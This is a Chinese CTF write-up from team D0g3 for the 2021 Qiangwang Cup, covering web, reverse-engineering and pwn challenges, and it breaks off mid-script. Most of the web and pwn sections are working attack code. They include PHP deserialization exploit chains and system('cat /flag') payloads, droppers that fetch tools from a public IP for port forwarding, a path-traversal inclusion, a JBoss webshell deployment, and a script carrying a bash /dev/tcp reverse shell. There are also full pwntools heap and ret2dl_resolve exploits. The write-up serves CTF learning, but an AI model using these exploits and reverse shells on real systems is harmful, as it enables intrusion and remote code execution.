2021强网杯部分Wp

robots

 

队伍:D0g3

Web

pop_master

就是找pop链子

<?php
include "class.php";
// $_GET['argv'];
$a = new RE1OMX();
$b = new i1hP7t();
$c = new zXCCeq();
$d = new mrh3g1();
$e = new ZZdOGI();
$f = new llXb4K();
$g = new YSLwLa();
$h = new pWbYui();
$i = new VRRnow();
$j = new EfGhMk();
$k = new F14Wdc();
$l = new skPn09();
$m = new o4pImn();
$n = new ZzeOOG();
$o = new gI55Lg();
$p = new VADeL8();
$q = new nrpCQU();
$r = new hl3aY9();
$s = new v9hArk();
$t = new YdtcqO();
$u = new TC6gGO();
$a->BygUQrE = $b;
$b->KgBLgdZ = $c;
$c->kHDgV8H = $d;
$d->HGD3u9K = $e;
$e->uDi7BnQ = $f;
$f->FDe36Ig = $g;
$g->evVcu96 = $h;
$h->GUCdYot = $i;
$i->mL2xGAo = $j;
$j->sqrYYeP = $k;
$k->xOYcGSr = $l;
$l->VHYeGXw = $m;
$m->gvYGwaB = $n;
$n->ONuahAZ = $o;
$o->W6uBBDs = $p;
$p->C24Rp7S = $q;
$q->qXmg5Al = $r;
$r->bwsbAbm = $s;
$s->ng7uu1P = $t;
$t->n8xdfBT = $u;
echo serialize($a);
?pop=O:6:"RE1OMX":1:{s:7:"BygUQrE";O:6:"i1hP7t":1:{s:7:"KgBLgdZ";O:6:"zXCCeq":1:{s:7:"kHDgV8H";O:6:"mrh3g1":1:{s:7:"HGD3u9K";O:6:"ZZdOGI":1:{s:7:"uDi7BnQ";O:6:"llXb4K":1:{s:7:"FDe36Ig";O:6:"YSLwLa":1:{s:7:"evVcu96";O:6:"pWbYui":1:{s:7:"GUCdYot";O:6:"VRRnow":1:{s:7:"mL2xGAo";O:6:"EfGhMk":1:{s:7:"sqrYYeP";O:6:"F14Wdc":1:{s:7:"xOYcGSr";O:6:"skPn09":1:{s:7:"VHYeGXw";O:6:"o4pImn":1:{s:7:"gvYGwaB";O:6:"ZzeOOG":1:{s:7:"ONuahAZ";O:6:"gI55Lg":1:{s:7:"W6uBBDs";O:6:"VADeL8":1:{s:7:"C24Rp7S";O:6:"nrpCQU":1:{s:7:"qXmg5Al";O:6:"hl3aY9":1:{s:7:"bwsbAbm";O:6:"v9hArk":1:{s:7:"ng7uu1P";O:6:"YdtcqO":1:{s:7:"n8xdfBT";O:6:"TC6gGO":1:{s:7:"Pxqk6ZO";N;}}}}}}}}}}}}}}}}}}}}}&argv=echo 1;?><?php system('cat /flag');?>

[强网先锋]赌徒

源代码

<?php
error_reporting(1);
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;//new Info()
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];//new Room();
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;//new Room() 
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){//当脚本尝试将对象调用为函数时触发
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}
?>

exp.php

<?php
class Start{}
class Info{}
class Room{
    public function __construct(){
        $this->filename = "/flag";
    }
}
$a = new Start();
$b = new Info();
$c = new Room();
$c->a = new Room();
$b->file['filename'] = $c;
$a->name = $b;
echo serialize($a);
?>

[强网先锋]寻宝

第二个key开了windows的预览直接搜就搜到了

Hard_Penetration

通过shiro打反弹shell.

获得端口

<?php
$url = 'http://127.0.0.1:8005/';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>

echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvaW5kZXgucGhwJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > test.php
<?php
set_time_limit (24 * 60 * 60);
$url="http://1.116.136.120/".urlencode(iconv("GB2312","UTF-8","lcx.c"));
echo $url."<br>";
$newfname = iconv("UTF-8","GB2312",urldecode(basename($url)));
echo $newfname;
$file = fopen ($url, "rb");
if ($file) {
    $newf = fopen ($newfname, "wb");
    if ($newf)
    while(!feof($file)) {
        fwrite($newf, fread($file, 1024 * 8 ), 1024 * 8 );
    }
}
if ($file) {
    fclose($file);
}
if ($newf) {
    fclose($newf);
}
?>  
   echo PD9waHAKc2V0X3RpbWVfbGltaXQgKDI0ICogNjAgKiA2MCk7CiR1cmw9Imh0dHA6Ly8xLjExNi4xMzYuMTIwLyIudXJsZW5jb2RlKGljb252KCJHQjIzMTIiLCJVVEYtOCIsImxjeC5jIikpOwplY2hvICR1cmwuIjxicj4iOwokbmV3Zm5hbWUgPSBpY29udigiVVRGLTgiLCJHQjIzMTIiLHVybGRlY29kZShiYXNlbmFtZSgkdXJsKSkpOwplY2hvICRuZXdmbmFtZTsKJGZpbGUgPSBmb3BlbiAoJHVybCwgInJiIik7CmlmICgkZmlsZSkgewoJJG5ld2YgPSBmb3BlbiAoJG5ld2ZuYW1lLCAid2IiKTsKCWlmICgkbmV3ZikKCXdoaWxlKCFmZW9mKCRmaWxlKSkgewoJCWZ3cml0ZSgkbmV3ZiwgZnJlYWQoJGZpbGUsIDEwMjQgKiA4ICksIDEwMjQgKiA4ICk7Cgl9Cn0KaWYgKCRmaWxlKSB7CglmY2xvc2UoJGZpbGUpOwp9CmlmICgkbmV3ZikgewoJZmNsb3NlKCRuZXdmKTsKfQo/Pg==|base64 -d > lcx.php

gcc lcx.c -o lcx

靶机: ./lcx -m 3 -h1 1.116.136.120 -h2 127.0.0.1 -p1 81 -p2 8006
vps:./lcx -m 2 -p1 2333 -p2 8005

发现进行查看页面,发现是BAOCMS,直接github找源代码。然后seary代码审计。发现任意文件包含。

然后利用思路我们可以写入脚本在tmp目录下(构造好文件名)然后进行目录穿越来文件包含。

<?php system('cat /flag');?>
echo "PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg=="|base64 -d > /tmp/exp.barcode.php

直接
http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1
<?php
$url = 'http://127.0.0.1:8005/Tudou/Lib/barcodegen/html/image.php?code=../../../../../../../../../../../../../../tmp/exp&t=1&r=1&rot=1&text=1&f1=1&f2=1&o=1&dpi=1&a1=1&a2=1';
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$contents = curl_exec($ch);
curl_close($ch);
echo $contents;
?>

    echo PD9waHAKJHVybCA9ICdodHRwOi8vMTI3LjAuMC4xOjgwMDUvVHVkb3UvTGliL2JhcmNvZGVnZW4vaHRtbC9pbWFnZS5waHA/Y29kZT0uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvZXhwJnQ9MSZyPTEmcm90PTEmdGV4dD0xJmYxPTEmZjI9MSZvPTEmZHBpPTEmYTE9MSZhMj0xJzsKJGNoID0gY3VybF9pbml0KCk7CiR0aW1lb3V0ID0gNTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwokY29udGVudHMgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwplY2hvICRjb250ZW50czsKPz4=|base64 -d > exp.php

EasyWeb

然后访问files

扫端口发现一个后台http://47.104.137.239:36842/,登录的地方没啥过滤直接报错注入。

登进去后台扫目录发现有个file的路由能传文件,被easyssrf给搞错方向了。

写了一个马,然后直接蚁剑弹shell

netstat查看进程发现8006端口是开放的。

curl一下发现是jboss

然后各种代理挂出来都行,我这里直接公网上面起了个msf然后portfd给转发出来了。

然后后台getshell就是部署war包了,哥斯拉生成一个马,然后打包成压缩包

然后在我的云服务器上起一个pythonserver

此时包已经部署上去了。

马也写上去了。

连上去直接cat

WhereIsUWebShell

<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){
        throw new Exception("Error: Class 'myclass' not found ");
    }
}
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){//__autoload(),尝试加载未定义的类
    require_once "/var/www/html/$classname.php";
}
?>

我们反序列化去触发__autoload的魔法方法去加载myclass.php,然后在销毁的时候触发__destruct去读文件

<?php
class Hello{
    public $qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php";
}
class myclass{
}
$a = new myclass();
$b = new Hello();
$a->exp=$b;
$a = serialize($a);
$a = str_replace('"myclass":1','"myclass":2',$a);
echo ($a)."\n";
echo urlencode($a)."\n";

然后读到全部的php代码。

然后思路就是上传临时文件,并且网站目录存在passwd,然后直接利用php://filter/string.strip_tags/resource=passwd造成空指针,浏览器异常。这样可以保存临时文件,然后在进行包含getshell.还有一个问题是照片木马。照片木马可以通过上次国赛在网上找的exp,直接打。

这里简单的说一下为什么要包含固定的照片格式。因为我们包含的文件在tmp下会进行png函数处理,在处理的过程会有数据失去,然后在将处理后的数据给写到$file。

然后写脚本。

# /usr/bin/python3
# @Author:Firebasky
# coding:utf-8
import requests
import re

url = "http://eci-2ze3rbnvegbbrt90dzvx.cloudeci1.ichunqiu.com/e2a7106f1cc8bb1e1318df70aa0a3540.php?"

files = {
  'file': open("exp","rb+").read()
}
response1 = requests.post(url=url+"d5e9d6b6-33ed-4617-be5a-631bc491cff2=php://filter/string.strip_tags/resource=passwd",files=files)

response2 = requests.get(url=url+"29e845c5-7ed5-43ca-a1e7-7dd39e67e722=../../../../../../../../../../tmp")

a = re.findall("\[\d\] => php(.*)", response2.text)[0]#获得上传的临时文件
data = {
  '1':'bash -c "bash -i >& /dev/tcp/ip/port  0>&1"'
    # /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131
}
response3 = requests.post(url=url+"0=system&d5e9d6b6-33ed-4617-be5a-631bc491cff2=../../../../../tmp/php"+a,data=data)

然后直接执行命令反弹shell,吐槽 flag非常难找。。。。。。。。。。。。。。。。。。。

最后命令:/usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/84d74210/07a4c79a/698f57d6/23b08db3/a3d0683d/Fl444gggbc304131

 

Re

ezmath

程序中应该故意给了错误数据,,

开始还写了一个ida动调脚本从0x2021跑到0x7f7f爆破,结果一个解都找不到。。。

虽然这题这样解不出来,还是贴一下写的动调的脚本吧(要修改原程序),,,

from ida_dbg import *
from ida_bytes import *

def init():
    probase=FirstSeg()
    breakpoint1=0x14D5+probase
    rbp = get_reg_val("rbp")
    set_reg_val("rip", breakpoint1)
    patch_qword(rbp-0x44, 0)

i = 0x2021

while(True):
    print(">>> i: %d"%i) 
    run_to(0x14F1+FirstSeg())
    wait_for_next_event(WFNE_SUSP, -1)
    set_reg_val("edi", i)
    run_to(0x153B+FirstSeg())
    wait_for_next_event(WFNE_SUSP, -1)
    rax = get_reg_val("rax")
    if rax != 1:   
        i += 1
        init()
    else:
        print(">>> find: %d"%i)
        break
exit_process()

然后分析程序,这其实是个数学题。。

程序在init用积分算了一个新的值改变了硬编码的0.2021,但这个新改的数据应该也是错的。。

image-20210614012602802

求积分,公式推导。。

精度太高,我是穷举(0x2021-0x7f7f)来找最接近密文的值,这就多次复用了通过递推算出的积分。那就先统一算完写入文件。在读文件使用。

数据太多了,部分值:

0.000330409855750
0.000330369698985
0.000330329551981
0.000330289414732
0.000330249287236
0.000330209169490
0.000330169061489
0.000330128963230
0.000330088874709
0.000330048795924
0.000330008726870
0.000329968667544
0.000329928617942
0.000329888578061
0.000329848547897

读数据文件,穷举找最接近的值。

#include<stdio.h>
#include<stdlib.h>
#include<math.h>

double enc[] = {0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298, 0.00008468431512187874};

double minValue = 100.0;
int min_index;
char flag[100];
double data[0x7f7f-0x2021+1];    

int main(void)
{
    int i, j;
    FILE *fp;

    fp = fopen("data1", "rb");
    for(i = 0x2021; i < 0x7f7f; i++)
    {
        fread(data+i-0x2021, sizeof(double), 1, fp);
        //printf("%.15lf\n", data[i-0x2021]);
    }
    fclose(fp);

    for (i = 0; i < 19; i++)
    {
        minValue = 100.0;
        for(j = 0x2021; j < 0x7f7f; j++)
        {
            double ans = data[j-0x2021];
            double ppp = ans>enc[i] ? ans-enc[i]:enc[i]-ans;
            if(ppp < minValue)
            {    
                minValue = ppp;
                min_index = j;
                //printf("%x: %.15lf, min_index:%x\n", j, minValue, min_index);
            }
        } 
        //printf("%.15lf\n", minValue);
        flag[i*2] = min_index & 0xff;
        flag[i*2 + 1] = (min_index >> 8)&0xff;    
    }

    puts(flag);

    return 0;    
}

LongTimeAgo

计算len

sub_401DB0函数每8个一组进行bytes_to_long操作,且输入字符要为大写。

生成key和加密,加密函数为两种类型,xtea和tea,和异或操作。

如tea:

先异或解密得到(0xfd 0x1fd 0x3fd 0x7fd):

0x1f30678f, 0xb75b0dd4, 0x4a7cdb1e, 0x2877bc22, 0x1354c778, 0x357c3bc7, 0x738af391, 0x89b7f2ca

然后解密都稍微魔改了下的tea和xtea,动调从内存中找delat。

懒了,直接找网上的改下:

#include <stdio.h>
#include <stdint.h> 

void decrypt1(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{  
    unsigned int i;  
    uint32_t v0 = v[0], v1 = v[1], delta = 0x70C88617, sum = 0xE6EF3D20;  
    for(i = 0; i < num_rounds; i++)
    {  
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);  
        sum += delta;  
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);  
    }  
    v[0]=v0, v[1]=v1;  
}

void decrypt2(uint32_t* v, uint32_t* k)
{  
    uint32_t v0 = v[0], v1 = v[1], sum = 0xa6a53780, i;  
    uint32_t delta = 0x3D3529BC;                      
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];  
    for (i=0; i<32; i++)
    {                         
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);  
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);  
        sum -= delta;  
    }                                             
    v[0]=v0, v[1]=v1;  
} 

int main(void)
{
    uint32_t v[2]={0x1f30678f,0xb75b0dd4};
    uint32_t const k[4]={0xfffd,0x1fffd,0x3fffd,0x7fffd};
    unsigned int r=32;
    decrypt1(r, v, k);
    //decrypt2(v, k)
    printf("解密后的数据:%x %x\n",v[0],v[1]);

    return 0;  
}

最后注意解密的数据要大写,,,看了好久。。

StandOnTheGiants

关键就在native层的一个check函数。

一个rsa加密,有n和e,解还好,关键就是最后的换表base64有多个对应(+-有2个),这就有2^14种情况了。我还真就写了14个for循环,,,

最后爆出flag

import gmpy2
import base64
import copy
from Crypto.Util import number

base = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"
enc = "bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK="
ans = []
for i in enc:
    if i != '=':
        ans += [base.index(i)]

jia_ = [53, 62]
jian_ = [55, 63]
jia = []
jian = []
for i,s in enumerate(enc):
    if s == '+':
        jia += [i]
    if s == '-':
        jian += [i]


jia_ = [53, 62]
jian_ = [55, 63]
qqqq = 0
ans22 = [0]*14
ans_ = [[0]]
for a in range(2):
    ans22[0] = jia_[a]
    for b in range(2):
        ans22[1] = jia_[b] 
        for c in range(2):
            ans22[2] = jia_[c]
            for d in range(2):
                ans22[3] = jia_[d]
                for e in range(2):
                    ans22[4] = jia_[e]
                    for f in range(2):
                        ans22[5] = jia_[f]
                        for g in range(2):
                            ans22[6] = jia_[g]
                            for h in range(2):
                                ans22[7] = jia_[h]
                                for i in range(2):
                                    ans22[8] = jia_[i]
                                    for j in range(2):
                                        ans22[9] = jia_[j]
                                        for k in range(2):
                                            ans22[10] = jian_[k]
                                            for l in range(2):
                                                ans22[11] = jian_[l]
                                                for m in range(2):
                                                    ans22[12] = jian_[m]
                                                    for n in range(2):
                                                        ans22[13] = jian_[n]
                                                           asd = copy.deepcopy(ans22)
                                                           ans_ += [asd]

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
e =  0x10001


#print(ans_[1])
for i in range(2**14):
    for j in range(10):
        ans[jia[j]] = ans_[i+1][j]
    for j in range(4):
        ans[jian[j]] = ans_[i+1][10+j]

    sss = ''.join(['{:0>6}'.format(bin(o)[2:]) for o in ans])
    flag = []
    for s in range(len(sss)//8):
        flag += [int(sss[8*s:8*(s+1)], 2)]

    flag = bytes(flag)
    #print(flag)
    #c = int(flag.hex(),16)
    c = number.bytes_to_long(flag)
    #print(number.bytes_to_long(flag))
    #print(c)
    n = q*p
    phi = (q-1) * (p-1)
    d = gmpy2.invert(e, phi)
    m = gmpy2.powmod(c, d, n)
    www = number.long_to_bytes(m)
    if b'flag' in www:
        print(www)

 

Pwn

baby_diary

漏洞点

__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    if ( a3 == *(_BYTE *)(i + a1) )
      break;
  }
  *(_BYTE *)(i + a1) = 0;                      //设置最后一个至为0
  return (unsigned int)i;
}

执行完编辑函数,可以修改最后一个字节的low_byte位

void __fastcall sub_1528(unsigned int idx, int n)
{
  __int64 v2; // [rsp+10h] [rbp-8h]

  if ( idx <= 0x18 && bufs[idx] )
  {
    v2 = bufs[idx];
    flags[idx] = n;
    if ( n )
      *(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
  }
}

然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。

__int64 __fastcall sub_146E(unsigned int a1)
{
  int i; // [rsp+10h] [rbp-14h]
  unsigned int v3; // [rsp+14h] [rbp-10h]

  if ( a1 > 0x18 || !bufs[a1] )
    return 0xFFFFFFFFLL;
  v3 = 0;
  for ( i = 0; i < flags[a1]; ++i )
    v3 += *(unsigned __int8 *)(i + bufs[a1]);
  while ( v3 > 0xF )
    v3 = (v3 >> 4) + (v3 & 0xF);
  return v3;
}

漏洞综述,程序有点恶心,最后字节用’\x00’截断,4bit位溢出。

glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为’\x00’截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm

下面是我重重构造,实现unlink的信息

 0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730

exp

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "8.140.114.72:1399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz, d):
    sla('>>', '1')
    sla(':', str(sz))
    if(sz > 0):
        sa(':', d)

def dp(idx):
    sla('>>', '2')
    sla(':', str(idx))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    for i in range(7): # 0-6
        ad(0x1000, "padding\n")

    #ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
    ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31

    for i in range(7): # 8-14
        ad(0x28, 't\n')

    ad(0x1b20, "largebin\n") # 15
    ad(0x20, "padding\n") # 16
    rm(15)

    ad(0x2000, '\n') # 15
    ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin

    ad(0x28, 'a\n') # 18
    ad(0x28, 'b\n') # 19
    ad(0x38 + 0x300, 'c\n') # 20
    ad(0x28, 'd\n') # 21
    ad(0x28, 'e\n') # 22 for not merge

    # fill in tcache_entry[1](size: 0x30)
    t = 9
    for i in range(7): # 8-14
        rm(8 + i)
    rm(18) # t
    rm(20)
    rm(21)

    # clear tcache_entry[1](size: 0x30)
    for i in range(7): # 8-14
        ad(0x28, '\n')

    # fastbin to smallbin
    ad(0x450, '\n') #18

    # get a chunk from smallbin , another smallbin chunk to tcache
    # 20, change fake chunk's fd->bk to point to fake chunk
    ad(0x28,  b'\x03' + b'\x00' * 7 + b'\n')

    # clear chunk from tcache
    ad(0x28, 'clear\n') # 21

    for i in range(7): # 8-14
        rm(8 + i)

    # free to fastbin
    rm(19)
    rm(17)

    for i in range(7): # 8-14
        ad(0x28, '\n')

    # change fake chunk's bk->fd
    ad(0x28, b'\n') # 17


    # Make house of einherjar
    rm(18)
    for i in range(6): # 8-14
        rm(8 + i)

    ad(0x170, '\n') # 8
    ad(0x450, '\n') # 9
    ad(0x60, '\n')  # 10

    rm(8)
    ad(0x177, b'\x00' * 0x177) # 8
    rm(8)
    ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
    # unlink
    rm(9)

    # leak libc 
    ad(0x430, '\n') # 9
    dp(22) 
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
    system = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    li('libc_base: ' + hex(libc_base))
    #ad(0x17, p64(free_hook) + b'\n')

    for i in range(3):
        ad(0x28, b'\n')

    rm(20) # 

    rm(0) # for clean
    rm(1) # for clean

    ad(0x18, '/bin/sh\n')

    rm(9) #
    ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n') 
    ad(0x28, '\n')
    ad(0x28, p64(system) + b'\n')

    db()
    rm(0)


    # double free
    #rm(0)


    '''
    rm(9)
    ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
    '''

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

noout

没有打印函数,通过’\x00’字节绕过字符串比较

__sighandler_t sub_8049424()
{
  __sighandler_t result; // eax
  char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
  const char *v3; // [esp+5Ch] [ebp-Ch]

  init_();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);
  sub_80493EC(src);
  strcpy(dest, src);
  v3 = "now give you the flag\n";
  read(unk_804C080, src, 0x10u);
  result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
  if ( !result )
    result = sub_8049269();
  return result;
}

再利用计算错误抛出SIGFPE信号使调用漏洞函数

__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    signal(8, (__sighandler_t)vuln);            // set handler
                                                // SIGFPE 表示一个算数运算异常
    v2[1] = v2[0] / (int)v1;                    // 使运算异常调用漏洞函数
    result = signal(8, 0);
  }
  return result;
}
ssize_t vuln()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);                  // stack overflow
}

漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。

exp

#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
from roputils import ROP
import os

# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.138.97:1234"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    s('\x00' * 0x30)
    #db()
    # make calc error
    s('\x00' * 0x20)
    sl(str(-0xcccccccc))
    #db()
    sl(str(-1))

    # vuln, stack overflow
    rop  = ROP(elf_path)
    buf  = elf.bss()
    pop3 = 0x08049581
    p = b'\x00' * 0x4C
    p += p32(elf.sym['read'])
    p += p32(pop3)
    p += p32(0)
    p += p32(buf)
    p += p32(0x80)
    p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
    sleep(0.5)
    s(p)

    # dl resolve data 
    p = '/bin/sh\x00'.ljust(0x10, '\x00')
    p += rop.dl_resolve_data(buf + 0x10, 'execve')
    p = p.ljust(0x80, '\x00')
    sleep(1)
    sl(p)

    #sleep(0.1)
    #sl(p)

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
